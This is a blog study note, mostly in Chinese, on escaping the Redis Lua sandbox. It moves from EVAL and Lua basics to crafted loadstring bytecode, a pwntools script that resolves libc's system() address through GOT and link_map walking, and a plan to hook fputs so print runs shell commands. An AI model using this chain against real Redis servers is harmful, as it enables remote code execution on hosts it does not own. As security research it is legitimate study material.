Redis LUA Sandbox Escape

catalogue

1. Introduction to EVAL
2. LUA virtual machine
3. Basic knowledge of vulnerability reproduction
4. 基于其他语言验证漏洞

 

1. Introduction to EVAL

EVAL and EVALSHA are used to evaluate scripts using the Lua interpreter built into Redis starting from version 2.6.0.

root@iZ23und3yqhZ:~# redis-cli
127.0.0.1:6379> eval "return {KEYS[1],KEYS[2],ARGV[1],ARGV[2]}" 2 key1 key2 first second
1) "key1"
2) "key2"
3) "first"
4) "second"
127.0.0.1:6379>

It is possible to call Redis commands from a Lua script using two different Lua functions:

1. redis.call()
127.0.0.1:6379> eval "return redis.call('set','foo','bar')" 0
OK
//The above script sets the key foo to the string bar. However it violates the EVAL command semantics as all the keys that the script uses should be passed using the KEYS array:
127.0.0.1:6379> eval "return redis.call('set',KEYS[1],'bar')" 1 foo
OK

2. redis.pcall()

redis.call() is similar to redis.pcall(), the only difference is that if a Redis command call will result in an error, redis.call() will raise a Lua error that in turn will force EVAL to return an error to the command caller, while redis.pcall will trap the error and return a Lua table representing the error.
The arguments of the redis.call() and redis.pcall() functions are all the arguments of a well formed Redis command:

0x1: 执行lua脚本

cat ratelimiting.lua
local times = redis.call('incr',KEYS[1])

if times == 1 then
    redis.call('expire',KEYS[1], ARGV[1])
end

if times > tonumber(ARGV[2]) then
    return 0
end
return 1

redis-cli --eval ratelimiting.lua rate.limitingl:127.0.0.1 , 10 3

0x2: loadstring函数

Lua中还提供了另外一种动态执行Lua代码的方式,即loadstring函数。顾名思义,相比于loadfile,loadstring的代码源来自于其参数中的字符串

f = loadstring("i = i + 1")

i = 0
f()  
print(i) 

f()
print(i)  

loadstring确实是一个功能强大的函数,但是由此而换来的性能开销也是我们不得不考虑的事情。所以对于很多常量字符串如果仍然使用loadstring方式,那就没有太大意义了,如上面的例子f = loadstring("i = i + 1"),因为我们完全可以通过f = function () i = i + 1 end的形式取而代之。而后者的执行效率要远远高于前者。毕竟后者只编译一次,而前者则在每次调用loadstring时均被编译(类似于PHP中的eval)。对于loadstring,我们还需要注意的是,该函数总是在全局环境中编译它的字符串,因此它将无法文件局部变量,而是只能访问全局变量,如

i = 32
local i = 0
f = loadstring("i = i + 1; print(i)")
g = function() i = i + 1; print(i) end
f()    
g()    

对于loadstring返回的函数,如果需要对一个表达式求值,则必须在其之前添加return,这样才能构成一条语句,返回表达式的值,如

i = 32
f = loadstring("i = i + 1; return i * 2")
print(f()) 
print(f()) 

(error) ERR Error running script (call to f_f24a5a054d91ccc74c2629e113f8f639bbedbfa2): user_script:1: Script attempted to create global variable 'alex'

local mt = setmetatable(_G, nil)
-- define global functions / variables

i = 32
local i = 0
f = loadstring("i = i + 1; print(i)")
g = function() i = i + 1; print(i) end
f()    
g()    

-- return globals protection mechanizm
setmetatable(_G, mt)

0x3: string.dump

asnum = loadstring(string.dump(function(x)
  for i = x, x, 0 do
    return i
  end
end):gsub("\96%z%z\128", "\22\0\0\128"))
 
print(asnum())

Relevant Link:

http://redis.io/commands/EVAL

 

2. LUA virtual machine

0x1: TValue

Relevant Link:

 

3. Basic knowledge of vulnerability reproduction

0x1: Coroutine

1. Lua的coroutine 跟thread 的概念比较相似,但是也不完全相同。一个multi-thread的程序,可以同时有多个thread 在运行,但是一个multi-coroutines的程序,同一时间只能有一个coroutine 在运行,而且当前正在运行的coroutine 只有在被显式地要求挂起时,才会挂起
2. Lua 协同程序(coroutine)与线程比较类似
    1) 拥有独立的堆栈
    2) 独立的局部变量
    3) 独立的指令指针
    4) 与其它协同程序共享全局变量和其它大部分东西 
3. 线程和协同程序区别
    1) 线程与协同程序的主要区别在于,一个具有多个线程的程序可以同时运行几个线程,而协同程序却需要彼此协作的运行 
    2) 在任一指定时刻只有一个协同程序在运行,并且这个正在运行的协同程序只有在明确的被要求挂起的时候才会被挂起 
    3) 协同程序有点类似同步的多线程,在等待同一个线程锁的几个线程有点类似协同

Lua将coroutine相关的所有函数封装在表coroutine中。create 函数,创建一个coroutine ,以该coroutine 将要运行的函数作为参数,返回类型为thread

coroutine.create()    创建coroutine,返回coroutine, 参数是一个函数,当和resume配合使用的时候就唤醒函数调用
coroutine.resume()    重启coroutine,和create配合使用
coroutine.yield()    挂起coroutine,将coroutine设置为挂起状态,这个和resume配合使用能有很多有用的效果
coroutine.status()    查看coroutine的状态
    1) dead
    2) suspend
    3) running 
coroutine.wrap()    创建coroutine,返回一个函数,一旦你调用这个函数,就进入coroutine,和create功能重复
coroutine.running()    返回正在跑的coroutine,一个coroutine就是一个线程,当使用running的时候,就是返回一个corouting的线程号

usage

-- coroutine_test.lua 文件
co = coroutine.create(
    function(i)
        print(i);
    end
)
 
coroutine.resume(co, 1)   -- 1
print(coroutine.status(co))  -- dead
 
print("----------")
 
co = coroutine.wrap(
    function(i)
        print(i);
    end
)
 
co(1)
 
print("----------")
 
co2 = coroutine.create(
    function()
        for i=1,10 do
            print(i)
            if i == 3 then
                print(coroutine.status(co2))  --running
                print(coroutine.running()) --thread:XXXXXX
            end
            coroutine.yield()
        end
    end
)
 
coroutine.resume(co2) --1
coroutine.resume(co2) --2
coroutine.resume(co2) --3
 
print(coroutine.status(co2))   -- suspended
print(coroutine.running())
 
print("----------")

coroutine.running就可以看出来,coroutine在底层实现就是一个线程
当create一个coroutine的时候就是在新线程中注册了一个事件
当使用resume触发事件的时候,create的coroutine函数就被执行了,当遇到yield的时候就代表挂起当前线程,等候再次resume触发事件

0x2: Closure

1. Usage

When a function is written enclosed in another function, it has full access to local variables from the enclosing function; this feature is called lexical scoping. Although that may sound obvious, it is not. Lexical scoping, plus first-class functions, is a powerful concept in a programming language, but few languages support that concept.
Let us start with a simple example. Suppose you have a list of student names and a table that associates names to grades; you want to sort the list of names, according to their grades (higher grades first). You can do this task as follows

names = {"Peter", "Paul", "Mary"}
grades = {Mary = 10, Paul = 7, Peter = 8}
table.sort(names, function (n1, n2)
    return grades[n1] > grades[n2]    -- compare the grades
end)

Now, suppose you want to create a function to do this task

function sortbygrade (names, grades)
    table.sort(names, function (n1, n2)
        return grades[n1] > grades[n2]    -- compare the grades
    end)
end

2. SourceCode

Lua的函数包括Lua Closure, light C function以及 C Closure三种小类型,其中light C function就是纯c函数,在Value的定义里直接用一个lua_CFunction函数指针指向,从而剩下两个Closure类型
lua的源码里把Lua Closure和 C Closure作为一个联合体,构成了Closure类型

/*
** Closures
*/

#define ClosureHeader \
    CommonHeader; lu_byte isC; lu_byte nupvalues; GCObject *gclist; \
    struct Table *env

typedef struct CClosure {
  ClosureHeader;
  lua_CFunction f;
  TValue upvalue[1];
} CClosure;


typedef struct LClosure {
  ClosureHeader;
  struct Proto *p;
  UpVal *upvals[1];
} LClosure;


typedef union Closure {
  CClosure c;
  LClosure l;
} Closure;


#define iscfunction(o)    (ttype(o) == LUA_TFUNCTION && clvalue(o)->c.isC)
#define isLfunction(o)    (ttype(o) == LUA_TFUNCTION && !clvalue(o)->c.isC)

中间的关键结构是Proto* p; 这个字段代表了一个Lua 闭包

/*
** Function Prototypes
*/
typedef struct Proto {
  CommonHeader;
  TValue *k;  /* constants used by the function */
  Instruction *code;
  struct Proto **p;  /* functions defined inside the function */
  int *lineinfo;  /* map from opcodes to source lines */
  struct LocVar *locvars;  /* information about local variables */
  TString **upvalues;  /* upvalue names */
  TString  *source;
  int sizeupvalues;
  int sizek;  /* size of `k' */
  int sizecode;
  int sizelineinfo;
  int sizep;  /* size of `p' */
  int sizelocvars;
  int linedefined;
  int lastlinedefined;
  GCObject *gclist;
  lu_byte nups;  /* number of upvalues */
  lu_byte numparams;
  lu_byte is_vararg;
  lu_byte maxstacksize;
} Proto;

Relevant Link:

http://www.runoob.com/lua/lua-coroutine.html
https://www.lua.org/pil/6.1.html

 

4. 基于其他语言验证漏洞

正常情况下,redis的lua引擎只允许执行call、pcall这2个api,不能执行复杂函数,这相当于一个lua sandbox,但是lua支持loadstring直接加载binary opcode字节码,而这种shellcode字节码可以逃过sandbox的限制,通过shellcode的方式可以直接动态获取到system这种敏感函数的地址

0x1: 获取进程基地址

通过扫描内存镜像的ELF文件Basic的MAGIC标识 7f 45 4c 46即可获取Redis的内存基地址,或者直接使用基地址0x400000,默认编译器生成的Redis似乎就是这个
内存搜索的起点可以通过读CClosure对象偏移32字节的f指针,然后按照内存页对齐,依次向下搜索

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

e = ELF('/usr/bin/redis-server')
print ':'.join({'base address', hex(e.address)})   

0x2: 获取LIBC基地址

Linux的LIBC基地址通常做了ALSR处理,但在知道进程基地址前提下,可通过GOT表项获取到,具体见Linux GLIBC源码:elf_machine_runtime_setup函数

0108 static inline int
0109 elf_machine_runtime_setup (struct link_map *l, int lazy)
0110 {
0111   extern void _dl_runtime_resolve (Elf32_Word);
0112 
0113   if (lazy)
0114     {
0115       /* The GOT entries for functions in the PLT have not yet been filled
0116          in.  Their initial contents will arrange when called to push an
0117          offset into the .rel.plt section, push _GLOBAL_OFFSET_TABLE_[1],
0118          and then jump to _GLOBAL_OFFSET_TABLE[2].  */
0119       Elf32_Addr *got = (Elf32_Addr *) D_PTR (l, l_info[DT_PLTGOT]);
0120       got[1] = (Elf32_Addr) l;  /* Identify this shared object.  */
0121 
0122       /* This function will get called to fix up the GOT entry indicated by
0123          the offset on the stack, and then jump to the resolved address.  */
0124       got[2] = (Elf32_Addr) &_dl_runtime_resolve;
0125     }
0126 
0127   return lazy;
0128 }

其中got[1]=l ->struct link_map *

struct link_map
0086   {
0087     /* These first few members are part of the protocol with the debugger.
0088        This is the same format used in SVR4.  */
0089 
0090     ElfW(Addr) l_addr;      /* Base address shared object is loaded at.  */
0091     char *l_name;       /* Absolute file name object was found in.  */
0092     ElfW(Dyn) *l_ld;        /* Dynamic section of the shared object.  */
0093     struct link_map *l_next, *l_prev; /* Chain of loaded objects.  */
0094   };

通过遍历link_map链表,即可获取Redis进程加载的所有动态链接模块的基地址、名称以及DYN节信息。LIBC模块定位流程如下

1. 根据进程基地址,获取phoff
2. 遍历ELF的程序头表Elf_Phdr,获取PT_DYNAMIC对应地址
3. 解析PT_DYNAMIC执行的动态链接信息表,获取DT_PLTGOT对应的地址
4. 读取GOT[1]地址得到进程link_map信息
5. 遍历link_map链表,得到LIBC模块基地址

0x3: 获取system函数地址

遍历LIBC模块的动态节信息,获取DT_SYMTAB、DT_STRTAB表地址,遍历ELF符号表,即可获取任意LIBC模块的导出函数

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *

e = ELF('/lib/x86_64-linux-gnu/libc-2.19.so') 
print ':'.join({'system function address', hex(e.symbols['system'])})    

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *
import sys, os

wordSz = 4
hwordSz = 2
bits = 32
PIE = 0

def leak(address, size):
   with open('/proc/%s/mem' % pid) as mem:
      mem.seek(address)
      return mem.read(size)

def findModuleBase(pid, mem):
   name = os.readlink('/proc/%s/exe' % pid)
   with open('/proc/%s/maps' % pid) as maps: 
      for line in maps:
         if name in line:
            addr = int(line.split('-')[0], 16)
            mem.seek(addr)
            if mem.read(4) == "\x7fELF":
               bitFormat = u8(leak(addr + 4, 1))
               if bitFormat == 2:
                  global wordSz
                  global hwordSz
                  global bits
                  wordSz = 8
                  hwordSz = 4
                  bits = 64
               return addr
   log.failure("Module's base address not found.")
   sys.exit(1)

def findIfPIE(addr):
   e_type = u8(leak(addr + 0x10, 1))
   if e_type == 3:
      return addr
   else:
      return 0

def findPhdr(addr):
   if bits == 32:
      e_phoff = u32(leak(addr + 0x1c, wordSz).ljust(4, '\0'))
   else:
      e_phoff = u64(leak(addr + 0x20, wordSz).ljust(8, '\0'))
   return e_phoff + addr

def findDynamic(Elf32_Phdr, moduleBase, bitSz):
   if bitSz == 32:
      i = -32
      p_type = 0
      while p_type != 2:
         i += 32
         p_type = u32(leak(Elf32_Phdr + i, wordSz).ljust(4, '\0'))
      return u32(leak(Elf32_Phdr + i + 8, wordSz).ljust(4, '\0')) + PIE
   else:
      i = -56
      p_type = 0
      while p_type != 2:
         i += 56
         p_type = u64(leak(Elf32_Phdr + i, hwordSz).ljust(8, '\0'))
      return u64(leak(Elf32_Phdr + i + 16, wordSz).ljust(8, '\0')) + PIE

def findDynTable(Elf32_Dyn, table, bitSz):
   p_val = 0
   if bitSz == 32:
      i = -8
      while p_val != table:
         i += 8
         p_val = u32(leak(Elf32_Dyn + i, wordSz).ljust(4, '\0'))
      return u32(leak(Elf32_Dyn + i + 4, wordSz).ljust(4, '\0'))
   else:
      i = -16
      while p_val != table:
         i += 16
         p_val = u64(leak(Elf32_Dyn + i, wordSz).ljust(8, '\0'))
      return u64(leak(Elf32_Dyn + i + 8, wordSz).ljust(8, '\0'))

def getPtr(addr, bitSz):
   with open('/proc/%s/maps' % sys.argv[1]) as maps: 
      for line in maps:
         if 'libc-' in line and 'r-x' in line:
            libc = line.split(' ')[0].split('-')
   i = 3
   while True:
      if bitSz == 32:
         gotPtr = u32(leak(addr + i*4, wordSz).ljust(4, '\0'))
      else:
         gotPtr = u64(leak(addr + i*8, wordSz).ljust(8, '\0'))
      if (gotPtr > int(libc[0], 16)) and (gotPtr < int(libc[1], 16)):
         return gotPtr
      else:
         i += 1
         continue

def findLibcBase(ptr):
   ptr &= 0xfffffffffffff000
   while leak(ptr, 4) != "\x7fELF":
      ptr -= 0x1000
   return ptr

def findSymbol(strtab, symtab, symbol, bitSz):
   if bitSz == 32:
      i = -16
      while True:
         i += 16
         st_name = u32(leak(symtab + i, 2).ljust(4, '\0'))
         if leak( strtab + st_name, len(symbol)+1 ).lower() == (symbol.lower() + '\0'):
            return u32(leak(symtab + i + 4, 4).ljust(4, '\0'))
   else:
      i = -24
      while True:
         i += 24
         st_name = u64(leak(symtab + i, 4).ljust(8, '\0'))
         if leak( strtab + st_name, len(symbol)).lower() == (symbol.lower()):
            return u64(leak(symtab + i + 8, 8).ljust(8, '\0'))

def lookup(pid, symbol):
   with open('/proc/%s/mem' % pid) as mem:
      moduleBase = findModuleBase(pid, mem)
   log.info("Module's base address:................. " + hex(moduleBase))

   global PIE
   PIE = findIfPIE(moduleBase)
   if PIE:
      log.info("Binary is PIE enabled.")
   else:
      log.info("Binary is not PIE enabled.")

   modulePhdr = findPhdr(moduleBase)
   log.info("Module's Program Header:............... " + hex(modulePhdr))

   moduleDynamic = findDynamic(modulePhdr, moduleBase, bits) 
   log.info("Module's _DYNAMIC Section:............. " + hex(moduleDynamic))

   moduleGot = findDynTable(moduleDynamic, 3, bits)
   log.info("Module's GOT:.......................... " + hex(moduleGot))

   libcPtr = getPtr(moduleGot, bits)
   log.info("Pointer from GOT to a function in libc: " + hex(libcPtr))

   libcBase = findLibcBase(libcPtr)
   log.info("Libc's base address:................... " + hex(libcBase))

   libcPhdr = findPhdr(libcBase)
   log.info("Libc's Program Header:................. " + hex(libcPhdr))

   PIE = findIfPIE(libcBase)
   libcDynamic = findDynamic(libcPhdr, libcBase, bits)
   log.info("Libc's _DYNAMIC Section:............... " + hex(libcDynamic))

   libcStrtab = findDynTable(libcDynamic, 5, bits)
   log.info("Libc's DT_STRTAB Table:................ " + hex(libcStrtab))

   libcSymtab = findDynTable(libcDynamic, 6, bits)
   log.info("Libc's DT_SYMTAB Table:................ " + hex(libcSymtab))

   symbolAddr = findSymbol(libcStrtab, libcSymtab, symbol, bits)
   log.success("%s loaded at address:.............. %s" % (symbol, hex(symbolAddr + libcBase)))


if __name__ == "__main__":
   log.info("Manual usage of pwnlib.dynelf")
   if len(sys.argv) == 3:
      pid = sys.argv[1]
      symbol = sys.argv[2]
      lookup(pid, symbol)
   else:
      log.failure("Usage: %s PID SYMBOL" % sys.argv[0])

0x4: IAT HOOK

IAT HOOK是Windows系统下比较常用的一种HOOK方式,Linux系统下同样也可以使用类似技术实现系统函数劫持,Redis的LUA沙盒print函数没有被屏蔽,实际函数是luaB_print,最终通过fputs将用户提供的字符串输出到stdout
fputs(s, stdout);
如果能通过IAT HOOK将fputs指向system函数,s又是用户可以控制的,唯一不同的是fputs是两个参数,system是一个参数,但x64平台下前两个参数通过RDI、RSI寄存器传递,并不会影响堆栈平衡

1. 获取进程phdr头
2. 遍历程序头表,获取PT_DYNAMIC动态节
3. 通过DT_JMPREL信息,得到重定位表入口
4. 遍历重定位表项,得到Rel/Rela->r_offset以及符号表索引
5. 查询符号表索引是否是待HOOK函数
6. 如果是HOOK函数,返回r_offset
7. 将对应的r_offset地址内存修改为HOOK函数地址

Relevant Link:

http://osxr.org:8080/glibc/source/elf/link.h?v=glibc-2.15
http://uaf.io/exploitation/misc/2016/04/02/Finding-Functions.html
https://github.com/Gallopsled/pwntools
http://brieflyx.me/2015/python-module/pwntools-intro/
http://drops.wiki/index.php/2016/10/24/redis-lua/

 

Copyright (c) 2015 LittleHann All rights reserved

 

posted @ 2016-10-25 17:20  郑瀚Andrew  阅读(183)  评论(0编辑  收藏  举报